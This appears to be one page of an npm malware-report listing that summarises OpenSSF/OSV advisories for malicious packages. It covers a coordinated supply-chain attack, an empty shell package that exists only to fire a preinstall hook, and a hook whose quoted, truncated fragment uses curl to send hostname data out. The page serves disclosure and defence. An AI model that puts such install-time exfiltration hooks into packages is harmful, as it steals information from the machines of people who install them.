npm malware reports, with evidence.
Explore malware, protestware, install-hook abuse, staged payload carriers, crypto mining, and typosquatting. These reports have OSV or public advisory evidence. Each report identifies the package version, supporting evidence, advisory sources, and current Firewall decision.
Security reports — page 658
Updated 26 Oct 2026, 02:34 UTC. Ordered by latest scan.
OpenSSF/OSV malware advisory MAL-2026-4208 blocks this version. A coordinated supply-chain attack comprising 10 npm packages published by maintainer `ddjidd5640` (1623682356@qq.com) withi...
OpenSSF/OSV malware advisory MAL-2026-4208 blocks this version. A coordinated supply-chain attack comprising 10 npm packages published by maintainer `ddjidd5640` (1623682356@qq.com) withi...
OpenSSF/OSV malware advisory MAL-2026-4612 blocks this version. On `npm install`, the package's preinstall lifecycle hook executes `node index.js && curl --data-urlencode "info=$(hostname...
OpenSSF/OSV malware advisory MAL-2026-5844 blocks this version. The npm package `numdifftools` is an empty shell (zero-byte index.js) that exists solely to fire a `preinstall` lifecycle h...
OpenSSF/OSV malware advisory MAL-2026-5844 blocks this version. The npm package `numdifftools` is an empty shell (zero-byte index.js) that exists solely to fire a `preinstall` lifecycle h...